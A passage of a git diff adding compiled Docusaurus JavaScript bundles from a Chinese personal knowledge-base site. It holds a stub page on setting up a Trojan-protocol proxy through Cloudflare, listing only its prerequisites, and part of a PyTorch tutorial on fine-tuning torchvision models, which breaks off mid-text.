learner\uff0c\u548c\u5b66\u4e60\u8005\u4e00\u8d77\u6210\u957f\u201d\u4e3a\u613f\u666f\uff0c\u6784\u5efa\u5bf9\u5b66\u4e60\u8005\u6700\u6709\u4ef7\u503c\u7684\u5f00\u6e90\u5b66\u4e60\u793e\u533a\u3002\u5173\u6ce8\u6211\u4eec\uff0c\u4e00\u8d77\u5b66\u4e60\u6210\u957f\u3002"})}),"\n",(0,s.jsx)(e.h2,{id:"license",children:"LICENSE"}),"\n",(0,s.jsxs)(e.p,{children:[(0,s.jsx)(e.a,{rel:"license",href:"http://creativecommons.org/licenses/by-nc-sa/4.0/",children:(0,s.jsx)(e.img,{alt:"\u77e5\u8bc6\u5171\u4eab\u8bb8\u53ef\u534f\u8bae",style:{borderWidth:"0"},src:"https://img.shields.io/badge/license-CC%20BY--NC--SA%204.0-lightgrey"})}),(0,s.jsx)(e.br,{}),"\u672c\u4f5c\u54c1\u91c7\u7528",(0,s.jsx)(e.a,{rel:"license",href:"http://creativecommons.org/licenses/by-nc-sa/4.0/",children:"\u77e5\u8bc6\u5171\u4eab\u7f72\u540d-\u975e\u5546\u4e1a\u6027\u4f7f\u7528-\u76f8\u540c\u65b9\u5f0f\u5171\u4eab 4.0 \u56fd\u9645\u8bb8\u53ef\u534f\u8bae"}),"\u8fdb\u884c\u8bb8\u53ef\u3002"]})]})}function j(n={}){const{wrapper:e}={...(0,i.R)(),...n.components};return e?(0,s.jsx)(e,{...n,children:(0,s.jsx)(x,{...n})}):x(n)}}}]); \ No newline at end of file diff --git a/assets/js/3784bb17.3cfdba69.js b/assets/js/3784bb17.3cfdba69.js new file mode 100644 index 0000000..2007f84 --- /dev/null +++ b/assets/js/3784bb17.3cfdba69.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[1705],{28453:(e,t,n)=>{n.d(t,{R:()=>o,x:()=>c});var l=n(96540);const r={},s=l.createContext(r);function o(e){const t=l.useContext(s);return l.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function c(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(r):e.components||r:o(e.components),l.createElement(s.Provider,{value:t},e.children)}},56861:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>d,contentTitle:()=>c,default:()=>u,frontMatter:()=>o,metadata:()=>l,toc:()=>a});const l=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u4ee3\u7406\u7c7b/\u57fa\u4e8ecloudflare\u642d\u5efatrojan\u4ee3\u7406","title":"\u57fa\u4e8ecloudflare\u642d\u5efatrojan\u4ee3\u7406","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/08.\u5de5\u5177\u5206\u4eab/03.\u4ee3\u7406\u7c7b/05.\u57fa\u4e8ecloudflare\u642d\u5efatrojan\u4ee3\u7406.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/08.\u5de5\u5177\u5206\u4eab/03.\u4ee3\u7406\u7c7b","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u4ee3\u7406\u7c7b/\u57fa\u4e8ecloudflare\u642d\u5efatrojan\u4ee3\u7406","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u4ee3\u7406\u7c7b/\u57fa\u4e8ecloudflare\u642d\u5efatrojan\u4ee3\u7406","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/08.\u5de5\u5177\u5206\u4eab/03.\u4ee3\u7406\u7c7b/05.\u57fa\u4e8ecloudflare\u642d\u5efatrojan\u4ee3\u7406.md","tags":[],"version":"current","sidebarPosition":5,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u57fa\u4e8evless\u7684\u79d1\u5b66\u4e0a\u7f51-\u81ea\u52a8\u5316","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u4ee3\u7406\u7c7b/\u57fa\u4e8evless\u7684\u79d1\u5b66\u4e0a\u7f51-\u81ea\u52a8\u5316"},"next":{"title":"FoFa\u722c\u866b","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/FoFa\u722c\u866b/"}}');var r=n(74848),s=n(28453);const o={},c="\u57fa\u4e8ecloudflare\u642d\u5efatrojan\u4ee3\u7406",d={},a=[{value:"\u524d\u6cbf",id:"\u524d\u6cbf",level:2},{value:"\u51c6\u5907",id:"\u51c6\u5907",level:2}];function i(e){const t={blockquote:"blockquote",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",p:"p",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,s.R)(),...e.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsxs)(t.table,{children:[(0,r.jsx)(t.thead,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(t.tbody,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.td,{style:{textAlign:"left"},children:(0,r.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(t.td,{style:{textAlign:"left"},children:"2024-10-21 11:18:21"})]})})]}),"\n",(0,r.jsx)(t.header,{children:(0,r.jsx)(t.h1,{id:"\u57fa\u4e8ecloudflare\u642d\u5efatrojan\u4ee3\u7406",children:"\u57fa\u4e8ecloudflare\u642d\u5efatrojan\u4ee3\u7406"})}),"\n",(0,r.jsxs)(t.blockquote,{children:["\n",(0,r.jsx)(t.p,{children:"\u672c\u6587\u4e3b\u8981\u4ecb\u7ecd\u5982\u4f55\u57fa\u4e8ecloudflare\u642d\u5efatrojan\u4ee3\u7406"}),"\n"]}),"\n",(0,r.jsx)(t.h2,{id:"\u524d\u6cbf",children:"\u524d\u6cbf"}),"\n",(0,r.jsx)(t.p,{children:"\u4e4b\u524d\u518d\u505a\u6e17\u900f\u7684\u65f6\u5019\uff0c\u6709\u8fd9\u4e48\u4e00\u4e2a\u5947\u8469\u7684\u9700\u6c42\uff0c\u5c31\u662f\u51fa\u53e3IP\u8981\u4e3b\u591f\u591a\uff0c\u800c\u4e14\u8981\u80fd\u591f\u77e5\u9053IP\u8303\u56f4."}),"\n",(0,r.jsx)(t.p,{children:"\u867d\u7136\u4e4b\u524d\u53ef\u4ee5\u901a\u8fc7\u4e91\u51fd\u6570\u6765\u5b9e\u73b0\uff0c\u4f46\u662f\u73b0\u5728\u90a3\u4e2a\u4e1c\u897f\u6536\u8d39\u4e86\uff0c\u800c\u4e14\u4e0d\u80fd\u79d1\u5b66\u4e0a\u7f51\uff0c\u6240\u4ee5\u5c31\u60f3\u5230\u4e86cloudflare\uff0ccloudflare\u7684CDN\u8282\u70b9\u904d\u5e03\u5168\u7403\uff0c\u800c\u4e14\u53ef\u4ee5\u901a\u8fc7API\u6765\u83b7\u53d6\u8282\u70b9\u7684IP\u5730\u5740\uff0c\u6240\u4ee5\u5c31\u60f3\u5230\u4e86\u7528cloudflare\u6765\u642d\u5efatrojan\u4ee3\u7406\uff0c\u8fd9\u6837\u5c31\u53ef\u4ee5\u5b9e\u73b0IP\u591a\uff0c\u800c\u4e14\u53ef\u4ee5\u77e5\u9053IP\u8303\u56f4\u7684\u9700\u6c42\u4e86\u3002"}),"\n",(0,r.jsx)(t.h2,{id:"\u51c6\u5907",children:"\u51c6\u5907"}),"\n",(0,r.jsxs)(t.ul,{children:["\n",(0,r.jsxs)(t.li,{children:["\n",(0,r.jsx)(t.p,{children:"\u514d\u8d39\u7533\u8bf7\u7684\u57df\u540d\uff08\u6ca1\u88abGFW\u5899\u4e86\uff09"}),"\n"]}),"\n",(0,r.jsxs)(t.li,{children:["\n",(0,r.jsx)(t.p,{children:"cloudflare\u8d26\u53f7"}),"\n"]}),"\n"]})]})}function u(e={}){const{wrapper:t}={...(0,s.R)(),...e.components};return t?(0,r.jsx)(t,{...e,children:(0,r.jsx)(i,{...e})}):i(e)}}}]); \ No newline at end of file diff --git a/assets/js/378b62d2.a1b1b1b3.js b/assets/js/378b62d2.a1b1b1b3.js new file mode 100644 index 0000000..c6e14ff --- /dev/null +++ b/assets/js/378b62d2.a1b1b1b3.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[8709],{27762:(e,n,r)=>{r.r(n),r.d(n,{assets:()=>o,contentTitle:()=>d,default:()=>a,frontMatter:()=>i,metadata:()=>s,toc:()=>c});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.3 \u6a21\u578b\u5fae\u8c03-torchvision","title":"6.3 \u6a21\u578b\u5fae\u8c03-torchvision.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/06.\u7b2c\u516d\u7ae0/6.3 \u6a21\u578b\u5fae\u8c03-torchvision.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/06.\u7b2c\u516d\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.3 \u6a21\u578b\u5fae\u8c03-torchvision","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.3 \u6a21\u578b\u5fae\u8c03-torchvision","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/06.\u7b2c\u516d\u7ae0/6.3 \u6a21\u578b\u5fae\u8c03-torchvision.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"6.3 \u6a21\u578b\u5fae\u8c03-timm.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.3 \u6a21\u578b\u5fae\u8c03-timm"},"next":{"title":"6.4 \u534a\u7cbe\u5ea6\u8bad\u7ec3.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.4 \u534a\u7cbe\u5ea6\u8bad\u7ec3"}}');var t=r(74848),l=r(28453);const i={},d="6.3 \u6a21\u578b\u5fae\u8c03-torchvision.md",o={},c=[{value:"6.3.1 \u6a21\u578b\u5fae\u8c03\u7684\u6d41\u7a0b",id:"631-\u6a21\u578b\u5fae\u8c03\u7684\u6d41\u7a0b",level:2},{value:"6.3.2 \u4f7f\u7528\u5df2\u6709\u6a21\u578b\u7ed3\u6784",id:"632-\u4f7f\u7528\u5df2\u6709\u6a21\u578b\u7ed3\u6784",level:2},{value:"6.3.3 \u8bad\u7ec3\u7279\u5b9a\u5c42",id:"633-\u8bad\u7ec3\u7279\u5b9a\u5c42",level:2},{value:"\u672c\u8282\u53c2\u8003",id:"\u672c\u8282\u53c2\u8003",level:2}];function h(e){const n={a:"a",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,l.R)(),...e.components};return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(n.header,{children:(0,t.jsx)(n.h1,{id:"63-\u6a21\u578b\u5fae\u8c03-torchvisionmd",children:"6.3 \u6a21\u578b\u5fae\u8c03-torchvision.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(n.table,{children:[(0,t.jsx)(n.thead,{children:(0,t.jsxs)(n.tr,{children:[(0,t.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(n.tbody,{children:(0,t.jsxs)(n.tr,{children:[(0,t.jsx)(n.td,{style:{textAlign:"left"},children:(0,t.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,t.jsx)(n.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:21"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(n.table,{children:[(0,t.jsx)(n.thead,{children:(0,t.jsxs)(n.tr,{children:[(0,t.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(n.tbody,{children:(0,t.jsxs)(n.tr,{children:[(0,t.jsx)(n.td,{style:{textAlign:"left"},children:(0,t.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,t.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,t.jsx)(n.h1,{id:"63-\u6a21\u578b\u5fae\u8c03-torchvision",children:"6.3 \u6a21\u578b\u5fae\u8c03-torchvision"}),"\n",(0,t.jsx)(n.p,{children:"\u968f\u7740\u6df1\u5ea6\u5b66\u4e60\u7684\u53d1\u5c55\uff0c\u6a21\u578b\u7684\u53c2\u6570\u8d8a\u6765\u8d8a\u5927\uff0c\u8bb8\u591a\u5f00\u6e90\u6a21\u578b\u90fd\u662f\u5728\u8f83\u5927\u6570\u636e\u96c6\u4e0a\u8fdb\u884c\u8bad\u7ec3\u7684\uff0c\u6bd4\u5982Imagenet-1k\uff0cImagenet-11k\uff0c\u751a\u81f3\u662fImageNet-21k\u7b49\u3002\u4f46\u5728\u5b9e\u9645\u5e94\u7528\u4e2d\uff0c\u6211\u4eec\u7684\u6570\u636e\u96c6\u53ef\u80fd\u53ea\u6709\u51e0\u5343\u5f20\uff0c\u8fd9\u65f6\u4ece\u5934\u5f00\u59cb\u8bad\u7ec3\u5177\u6709\u51e0\u5343\u4e07\u53c2\u6570\u7684\u5927\u578b\u795e\u7ecf\u7f51\u7edc\u662f\u4e0d\u73b0\u5b9e\u7684\uff0c\u56e0\u4e3a\u8d8a\u5927\u7684\u6a21\u578b\u5bf9\u6570\u636e\u91cf\u7684\u8981\u6c42\u8d8a\u5927\uff0c\u8fc7\u62df\u5408\u65e0\u6cd5\u907f\u514d\u3002"}),"\n",(0,t.jsx)(n.p,{children:"\u5047\u8bbe\u6211\u4eec\u60f3\u4ece\u56fe\u50cf\u4e2d\u8bc6\u522b\u51fa\uf967\u540c\u79cd\u7c7b\u7684\u6905\u2f26\uff0c\u7136\u540e\u5c06\u8d2d\u4e70\u94fe\u63a5\u63a8\u8350\u7ed9\u7528\u6237\u3002\u4e00\u79cd\u53ef\u80fd\u7684\u65b9\u6cd5\u662f\u5148\u627e\u51fa100\u79cd\u5e38\u89c1\u7684\u6905\u5b50\uff0c\u4e3a\u6bcf\u79cd\u6905\u5b50\u62cd\u64441000\u5f20\u4e0d\u540c\u2ec6\u5ea6\u7684\u56fe\u50cf\uff0c\u7136\u540e\u5728\u6536\u96c6\u5230\u7684\u56fe\u50cf\u6570\u636e\u96c6\u4e0a\u8bad\u7ec3\u4e00\u4e2a\u5206\u7c7b\u6a21\u578b\u3002\u8fd9\u4e2a\u6905\u5b50\u6570\u636e\u96c6\u867d\u7136\u53ef\u80fd\u6bd4Fashion-MNIST\u6570\u636e\u96c6\u8981\u5e9e\u2f24\uff0c\u4f46\u6837\u672c\u6570\u4ecd\u7136\u4e0d\u53caImageNet\u6570\u636e\u96c6\u4e2d\u6837\u672c\u6570\u7684\u5341\u5206\u4e4b\u2f00\u3002\u8fd9\u53ef\u80fd\u4f1a\u5bfc\u81f4\u9002\u7528\u4e8eImageNet\u6570\u636e\u96c6\u7684\u590d\u6742\u6a21\u578b\u5728\u8fd9\u4e2a\u6905\u2f26\u6570\u636e\u96c6\u4e0a\u8fc7\u62df\u5408\u3002\u540c\u65f6\uff0c\u56e0\u4e3a\u6570\u636e\u91cf\u6709\u9650\uff0c\u6700\u7ec8\u8bad\u7ec3\u5f97\u5230\u7684\u6a21\u578b\u7684\u7cbe\u5ea6\u4e5f\u53ef\u80fd\u8fbe\uf967\u5230\u5b9e\u7528\u7684\u8981\u6c42\u3002"}),"\n",(0,t.jsx)(n.p,{children:"\u4e3a\uf9ba\u5e94\u5bf9\u4e0a\u8ff0\u95ee\u9898\uff0c\u4e00\u4e2a\u663e\u2f7d\uf9e0\u2ec5\u7684\u89e3\u51b3\u529e\u6cd5\u662f\u6536\u96c6\uf901\u591a\u7684\u6570\u636e\u3002\u7136\u800c\uff0c\u6536\u96c6\u548c\u6807\u6ce8\u6570\u636e\u4f1a\u82b1\u8d39\u5927\uf97e\u7684\u65f6\u95f4\u548c\u8d44\u2fa6\u3002\uf9b5\u5982\uff0c\u4e3a\u4e86\u6536\u96c6ImageNet\u6570\u636e\u96c6\uff0c\u7814\u7a76\u4eba\u5458\u82b1\u8d39\uf9ba\u6570\u767e\u4e07\u7f8e\u5143\u7684\u7814\u7a76\u7ecf\u8d39\u3002\u867d\u7136\u76ee\u524d\u7684\u6570\u636e\u91c7\u96c6\u6210\u672c\u5df2\u964d\u4f4e\uf9ba\uf967\u5c11\uff0c\u4f46\u5176\u6210\u672c\u4ecd\u7136\uf967\u53ef\u5ffd\uf976\u3002"}),"\n",(0,t.jsx)(n.p,{children:"\u53e6\u5916\u4e00\u79cd\u89e3\u51b3\u529e\u6cd5\u662f\u5e94\u7528\u8fc1\u79fb\u5b66\u4e60(transfer learning)\uff0c\u5c06\u4ece\u6e90\u6570\u636e\u96c6\u5b66\u5230\u7684\u77e5\u8bc6\u8fc1\u79fb\u5230\u76ee\u6807\u6570\u636e\u96c6\u4e0a\u3002\uf9b5\u5982\uff0c\u867d\u7136ImageNet\u6570\u636e\u96c6\u7684\u56fe\u50cf\u5927\u591a\u8ddf\u6905\u5b50\u65e0\u5173\uff0c\u4f46\u5728\u8be5\u6570\u636e\u96c6\u4e0a\u8bad\u7ec3\u7684\u6a21\u578b\u53ef\u4ee5\u62bd\u53d6\u8f83\u901a\u7528\u7684\u56fe\u50cf\u7279\u5f81\uff0c\u4ece\u800c\u80fd\u591f\u5e2e\u52a9\u8bc6\u522b\u8fb9\u7f18\u3001\u7eb9\uf9e4\u3001\u5f62\u72b6\u548c\u7269\u4f53\u7ec4\u6210\u7b49\u3002\u8fd9\u4e9b\u7c7b\u4f3c\u7684\u7279\u5f81\u5bf9\u4e8e\u8bc6\u522b\u6905\u5b50\u4e5f\u53ef\u80fd\u540c\u6837\u6709\u6548\u3002"}),"\n",(0,t.jsx)(n.p,{children:"\u8fc1\u79fb\u5b66\u4e60\u7684\u4e00\u5927\u5e94\u7528\u573a\u666f\u662f\u6a21\u578b\u5fae\u8c03\uff08finetune\uff09\u3002\u7b80\u5355\u6765\u8bf4\uff0c\u5c31\u662f\u6211\u4eec\u5148\u627e\u5230\u4e00\u4e2a\u540c\u7c7b\u7684\u522b\u4eba\u8bad\u7ec3\u597d\u7684\u6a21\u578b\uff0c\u628a\u522b\u4eba\u73b0\u6210\u7684\u8bad\u7ec3\u597d\u4e86\u7684\u6a21\u578b\u62ff\u8fc7\u6765\uff0c\u6362\u6210\u81ea\u5df1\u7684\u6570\u636e\uff0c\u901a\u8fc7\u8bad\u7ec3\u8c03\u6574\u4e00\u4e0b\u53c2\u6570\u3002 \u5728PyTorch\u4e2d\u63d0\u4f9b\u4e86\u8bb8\u591a\u9884\u8bad\u7ec3\u597d\u7684\u7f51\u7edc\u6a21\u578b\uff08VGG\uff0cResNet\u7cfb\u5217\uff0cmobilenet\u7cfb\u5217......\uff09\uff0c\u8fd9\u4e9b\u6a21\u578b\u90fd\u662fPyTorch\u5b98\u65b9\u5728\u76f8\u5e94\u7684\u5927\u578b\u6570\u636e\u96c6\u8bad\u7ec3\u597d\u7684\u3002\u5b66\u4e60\u5982\u4f55\u8fdb\u884c\u6a21\u578b\u5fae\u8c03\uff0c\u53ef\u4ee5\u65b9\u4fbf\u6211\u4eec\u5feb\u901f\u4f7f\u7528\u9884\u8bad\u7ec3\u6a21\u578b\u5b8c\u6210\u81ea\u5df1\u7684\u4efb\u52a1\u3002"}),"\n",(0,t.jsx)(n.p,{children:"\u7ecf\u8fc7\u672c\u8282\u7684\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,t.jsxs)(n.ul,{children:["\n",(0,t.jsx)(n.li,{children:"\u638c\u63e1\u6a21\u578b\u5fae\u8c03\u7684\u6d41\u7a0b"}),"\n",(0,t.jsx)(n.li,{children:"\u4e86\u89e3PyTorch\u63d0\u4f9b\u7684\u5e38\u7528model"}),"\n",(0,t.jsx)(n.li,{children:"\u638c\u63e1\u5982\u4f55\u6307\u5b9a\u8bad\u7ec3\u6a21\u578b\u7684\u90e8\u5206\u5c42"}),"\n"]}),"\n",(0,t.jsx)(n.h2,{id:"631-\u6a21\u578b\u5fae\u8c03\u7684\u6d41\u7a0b",children:"6.3.1 \u6a21\u578b\u5fae\u8c03\u7684\u6d41\u7a0b"}),"\n",(0,t.jsxs)(n.ol,{children:["\n",(0,t.jsx)(n.li,{children:"\u5728\u6e90\u6570\u636e\u96c6(\u5982ImageNet\u6570\u636e\u96c6)\u4e0a\u9884\u8bad\u7ec3\u4e00\u4e2a\u795e\u7ecf\u7f51\u7edc\u6a21\u578b\uff0c\u5373\u6e90\u6a21\u578b\u3002"}),"\n",(0,t.jsx)(n.li,{children:"\u521b\u5efa\u4e00\u4e2a\u65b0\u7684\u795e\u7ecf\u7f51\u7edc\u6a21\u578b\uff0c\u5373\u76ee\u6807\u6a21\u578b\u3002\u5b83\u590d\u5236\uf9ba\u6e90\u6a21\u578b\u4e0a\u9664\uf9ba\u8f93\u51fa\u5c42\u5916\u7684\u6240\u6709\u6a21\u578b\u8bbe\u8ba1\u53ca\u5176\u53c2\u6570\u3002\u6211\u4eec\u5047\u8bbe\u8fd9\u4e9b\u6a21\u578b\u53c2\u6570\u5305\u542b\uf9ba\u6e90\u6570\u636e\u96c6\u4e0a\u5b66\u4e60\u5230\u7684\u77e5\u8bc6\uff0c\u4e14\u8fd9\u4e9b\u77e5\u8bc6\u540c\u6837\u9002\u7528\u4e8e\u76ee\u6807\u6570\u636e\u96c6\u3002\u6211\u4eec\u8fd8\u5047\u8bbe\u6e90\u6a21\u578b\u7684\u8f93\u51fa\u5c42\u8ddf\u6e90\u6570\u636e\u96c6\u7684\u6807\u7b7e\u7d27\u5bc6\u76f8\u5173\uff0c\u56e0\u6b64\u5728\u76ee\u6807\u6a21\u578b\u4e2d\u4e0d\u4e88\u91c7\u7528\u3002"}),"\n",(0,t.jsx)(n.li,{children:"\u4e3a\u76ee\u6807\u6a21\u578b\u6dfb\u52a0\u4e00\u4e2a\u8f93\u51fa\u2f24\u5c0f\u4e3a\u2f6c\u6807\u6570\u636e\u96c6\u7c7b\u522b\u4e2a\u6570\u7684\u8f93\u51fa\u5c42\uff0c\u5e76\u968f\u673a\u521d\u59cb\u5316\u8be5\u5c42\u7684\u6a21\u578b\u53c2\u6570\u3002"}),"\n",(0,t.jsx)(n.li,{children:"\u5728\u76ee\u6807\u6570\u636e\u96c6\u4e0a\u8bad\u7ec3\u76ee\u6807\u6a21\u578b\u3002\u6211\u4eec\u5c06\u4ece\u5934\u8bad\u7ec3\u8f93\u51fa\u5c42\uff0c\u800c\u5176\u4f59\u5c42\u7684\u53c2\u6570\u90fd\u662f\u57fa\u4e8e\u6e90\u6a21\u578b\u7684\u53c2\u6570\u5fae\u8c03\u5f97\u5230\u7684\u3002"}),"\n"]}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{alt:"finetune",src:r(95124).A+"",width:"1462",height:"908"})}),"\n",(0,t.jsx)(n.h2,{id:"632-\u4f7f\u7528\u5df2\u6709\u6a21\u578b\u7ed3\u6784",children:"6.3.2 \u4f7f\u7528\u5df2\u6709\u6a21\u578b\u7ed3\u6784"}),"\n",(0,t.jsx)(n.p,{children:"\u8fd9\u91cc\u6211\u4eec\u4ee5torchvision\u4e2d\u7684\u5e38\u89c1\u6a21\u578b\u4e3a\u4f8b\uff0c\u5217\u51fa\u4e86\u5982\u4f55\u5728\u56fe\u50cf\u5206\u7c7b\u4efb\u52a1\u4e2d\u4f7f\u7528PyTorch\u63d0\u4f9b\u7684\u5e38\u89c1\u6a21\u578b\u7ed3\u6784\u548c\u53c2\u6570\u3002\u5bf9\u4e8e\u5176\u4ed6\u4efb\u52a1\u548c\u7f51\u7edc\u7ed3\u6784\uff0c\u4f7f\u7528\u65b9\u5f0f\u662f\u7c7b\u4f3c\u7684\uff1a"}),"\n",(0,t.jsxs)(n.ul,{children:["\n",(0,t.jsxs)(n.li,{children:["\n",(0,t.jsx)(n.p,{children:"\u5b9e\u4f8b\u5316\u7f51\u7edc"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-python",children:"import torchvision.models as models\nresnet18 = models.resnet18()\n# resnet18 = models.resnet18(pretrained=False) \u7b49\u4ef7\u4e8e\u4e0e\u4e0a\u9762\u7684\u8868\u8fbe\u5f0f\nalexnet = models.alexnet()\nvgg16 = models.vgg16()\nsqueezenet = models.squeezenet1_0()\ndensenet = models.densenet161()\ninception = models.inception_v3()\ngooglenet = models.googlenet()\nshufflenet = models.shufflenet_v2_x1_0()\nmobilenet_v2 = models.mobilenet_v2()\nmobilenet_v3_large = models.mobilenet_v3_large()\nmobilenet_v3_small = models.mobilenet_v3_small()\nresnext50_32x4d = models.resnext50_32x4d()\nwide_resnet50_2 = models.wide_resnet50_2()\nmnasnet = models.mnasnet1_0()\n"})}),"\n"]}),"\n",(0,t.jsxs)(n.li,{children:["\n",(0,t.jsxs)(n.p,{children:["\u4f20\u9012",(0,t.jsx)(n.code,{children:"pretrained"}),"\u53c2\u6570"]}),"\n"]}),"\n"]}),"\n",(0,t.jsxs)(n.p,{children:["\u901a\u8fc7",(0,t.jsx)(n.code,{children:"True"}),"\u6216\u8005",(0,t.jsx)(n.code,{children:"False"}),"\u6765\u51b3\u5b9a\u662f\u5426\u4f7f\u7528\u9884\u8bad\u7ec3\u597d\u7684\u6743\u91cd\uff0c\u5728\u9ed8\u8ba4\u72b6\u6001\u4e0b",(0,t.jsx)(n.code,{children:"pretrained = False"}),"\uff0c\u610f\u5473\u7740\u6211\u4eec\u4e0d\u4f7f\u7528\u9884\u8bad\u7ec3\u5f97\u5230\u7684\u6743\u91cd\uff0c\u5f53",(0,t.jsx)(n.code,{children:"pretrained = True"}),"\uff0c\u610f\u5473\u7740\u6211\u4eec\u5c06\u4f7f\u7528\u5728\u4e00\u4e9b\u6570\u636e\u96c6\u4e0a\u9884\u8bad\u7ec3\u5f97\u5230\u7684\u6743\u91cd\u3002"]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-python",children:"import torchvision.models as models\nresnet18 = models.resnet18(pretrained=True)\nalexnet = models.alexnet(pretrained=True)\nsqueezenet = models.squeezenet1_0(pretrained=True)\nvgg16 = models.vgg16(pretrained=True)\ndensenet = models.densenet161(pretrained=True)\ninception = models.inception_v3(pretrained=True)\ngooglenet = models.googlenet(pretrained=True)\nshufflenet = models.shufflenet_v2_x1_0(pretrained=True)\nmobilenet_v2 = models.mobilenet_v2(pretrained=True)\nmobilenet_v3_large = models.mobilenet_v3_large(pretrained=True)\nmobilenet_v3_small = models.mobilenet_v3_small(pretrained=True)\nresnext50_32x4d = models.resnext50_32x4d(pretrained=True)\nwide_resnet50_2 = models.wide_resnet50_2(pretrained=True)\nmnasnet = models.mnasnet1_0(pretrained=True)\n"})}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.strong,{children:"\u6ce8\u610f\u4e8b\u9879\uff1a"})}),"\n",(0,t.jsxs)(n.ol,{children:["\n",(0,t.jsxs)(n.li,{children:["\n",(0,t.jsxs)(n.p,{children:["\u901a\u5e38PyTorch\u6a21\u578b\u7684\u6269\u5c55\u4e3a",(0,t.jsx)(n.code,{children:".pt"}),"\u6216",(0,t.jsx)(n.code,{children:".pth"}),"\uff0c\u7a0b\u5e8f\u8fd0\u884c\u65f6\u4f1a\u9996\u5148\u68c0\u67e5\u9ed8\u8ba4\u8def\u5f84\u4e2d\u662f\u5426\u6709\u5df2\u7ecf\u4e0b\u8f7d\u7684\u6a21\u578b\u6743\u91cd\uff0c\u4e00\u65e6\u6743\u91cd\u88ab\u4e0b\u8f7d\uff0c\u4e0b\u6b21\u52a0\u8f7d\u5c31\u4e0d\u9700\u8981\u4e0b\u8f7d\u4e86\u3002"]}),"\n"]}),"\n",(0,t.jsxs)(n.li,{children:["\n",(0,t.jsxs)(n.p,{children:["\u4e00\u822c\u60c